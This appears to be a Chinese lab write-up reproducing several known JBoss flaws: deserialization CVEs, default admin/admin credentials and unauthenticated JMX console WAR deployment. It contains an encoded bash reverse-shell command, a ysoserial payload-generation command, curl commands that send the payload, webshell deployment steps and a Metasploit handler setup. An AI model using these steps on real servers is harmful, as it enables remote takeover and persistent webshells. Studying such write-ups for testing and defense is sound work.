0x01:JBoss安装

下载地址:https://jbossas.jboss.org/downloads/

1. 安装java环境

JDK版本应当在1.6-1.7之间,1.8版本jboss运行jmx console会出现500错误

JBoss漏洞复现

2. 安装Jboss

新建环境变量

JBOSS_HOME 值为 C:\jboss-6.1.0.Final

JBoss漏洞复现

在path中加入

%JBOSS_HOME%\bin

JBoss漏洞复现

双击run.bat

JBoss漏洞复现

出现indo信息说明安装成功

JBoss漏洞复现

我们访问8080端口

JBoss漏洞复现

3. 注意点

JBoss默认部署的路径为

C:\jboss-6.1.0.Final\server\default\deploy\ROOT.war

如果需要向外网开放,我们修改C:\jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml文件

JBoss漏洞复现

然后重新运行run.bat

0x02:JBOSS5.x/6.x反序列化漏洞(CVE-2017-12149)

1. 漏洞原理

​ 该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。

2. 影响版本

Jboss5.x/6.x

3. 漏洞复现

该漏洞出现在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化,访问/invoker/readonly目录,返回500即存在漏洞

JBoss漏洞复现

我们用常规Java反序列化漏洞测试方法来复现该漏洞。我们使用bash来反弹shell,但由于Runtime.getRuntime().exec()中不能使用管道符等bash需要的方法,我们需要用进行一次编码。

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

JBoss漏洞复现

使用ysoserial来复现生成序列化数据,由于Vulhub使用的Java版本较新,所以选择使用的gadget是CommonsCollections5:

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEzMy8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser

生成poc.ser文件,这个就是我们的exp。

JBoss漏洞复现

nc启动监听。然后我们发送exp

JBoss漏洞复现

成功收到shell

JBoss漏洞复现

0x03:JBoss JMXInvokerServle反序列化漏洞(CVE-2015-7501)

1. 漏洞原理

这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

2. 影响版本

JBoss漏洞复现

3. 漏洞复现

​ JBoss在处理/invoker/JMXInvokerServlet请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。

访问 /invoker/JMXInvokerServlet,返回如下说明存在漏洞

JBoss漏洞复现

我们利用上面漏洞生成的exp。发送到/invoker/JMXInvokerServlet接口

curl http://192.168.88.133:8080/invoker/JMXInvokerServlet --data-binary @poc.ser

JBoss漏洞复现

反弹回shell

JBoss漏洞复现

0x04:JBOSSMQ JMS反序列化漏洞(CVE-2017-7504)

1. 漏洞原理

​ Jboss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invoca Layer的HTTPServerLServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

2. 影响版本

JBoss 4.x以及之前的所有版本

3. 漏洞复现

访问/jbossmq-httpil/HTTPServerILServlet

JBoss漏洞复现

还是利用前面生成的exp,发送到/jbossmq-httpil/HTTPServerILServlet接口。

curl http://192.168.88.133:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @poc.ser

JBoss漏洞复现

反弹回shell

JBoss漏洞复现

0x05:JBOSS EJBInvokerServlet反序列化漏洞(CVE-2013-4810)

http://x.x.x.x:8080/invoker/EJBInvokerServle

JBoss漏洞复现

0x06:Administratot Console弱口令

Administrator Console管理员面存在弱口令,admin/admin,登录后台上传war包。

JBoss漏洞复现

跳转到后台

JBoss漏洞复现

密码admin/admin。登录

JBoss漏洞复现

点击Add a new source,然后点击浏览上传war包。冰蝎成功连接。

JBoss漏洞复现

修改密码在

C:\jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

JBoss漏洞复现

0x07:低版本JMX Concole未授权访问

1. 漏洞原理

在低版本中,默认可以访问Jboss web控制台(http://127.0.0.1:8080/jmx-console),无需用户名和密码。

jboss 4.x及其之前版本ocnsole管理路径为/jmx-console/和/web-console/

jmx-console的配置文件为:

C:\jboss-4.2.3.GA\server\default\deploy\jmx-console.war\WEB-INF\jboss-web.xml

web-console的配置文件为:

C:\jboss-4.2.3.GA\server\default\deploy\management\console-mgr.sar\web-console.war\WEB-INF\jboss-web.xml

jmx-console和web-console共用一个账号密码

C:\jboss-4.2.3.GA\server\default\conf\props\jmx-console-users.properties

2. 漏洞复现

这里用的4.2.3版本

JBoss漏洞复现

点击jmx console

JBoss漏洞复现

然后找到jboss.deployment(jboss 自带的部署功能)中的flavor=URL,type=DeploymentScanner点进去(通过 url 的方式远程部署)

JBoss漏洞复现

然后我们在下面的地方添加我们vps上面war包的地址

JBoss漏洞复现

然后点击invoke,出现下面也面说明成功上传

JBoss漏洞复现

然后我们回到jmx-console页面。成功上传shell。

JBoss漏洞复现

路径如下

JBoss漏洞复现

我们利用冰蝎连接

JBoss漏洞复现

0x08:高版本JMX Console未授权访问

这里借助JMXInvokerServlet-deserialization的vulhub环境

点击JMX Console

JBoss漏洞复现

进入页面后点击jboss.system链接,进入页面后点击service=MainDeployer

JBoss漏洞复现

进入页面后找到deploy填写远程war地址进行远程部署。

JBoss漏洞复现

成功部署

JBoss漏洞复现

我们可以在这个地方看到我们上传的shell

JBoss漏洞复现

冰蝎连接即可。

0x09:自动化工具

http://192.168.88.133:8080/

JBoss漏洞复现

反弹shell

JBoss漏洞复现

JBoss漏洞复现

联动metasploit

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.88.133
msf6 exploit(multi/handler) > set lport 7654
msf6 exploit(multi/handler) > exploit -j

然后执行

JBoss漏洞复现

拿到meterpreter shell,但是一会就断开了。

JBoss漏洞复现

相关文章:

  • 2022-01-10
  • 2021-01-04
  • 2019-07-30
  • 2019-07-31
  • 2022-01-20
  • 2021-05-16
  • 2021-06-18
猜你喜欢
  • 2021-06-29
  • 2020-09-27
  • 2019-08-02
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
相关资源
相似解决方案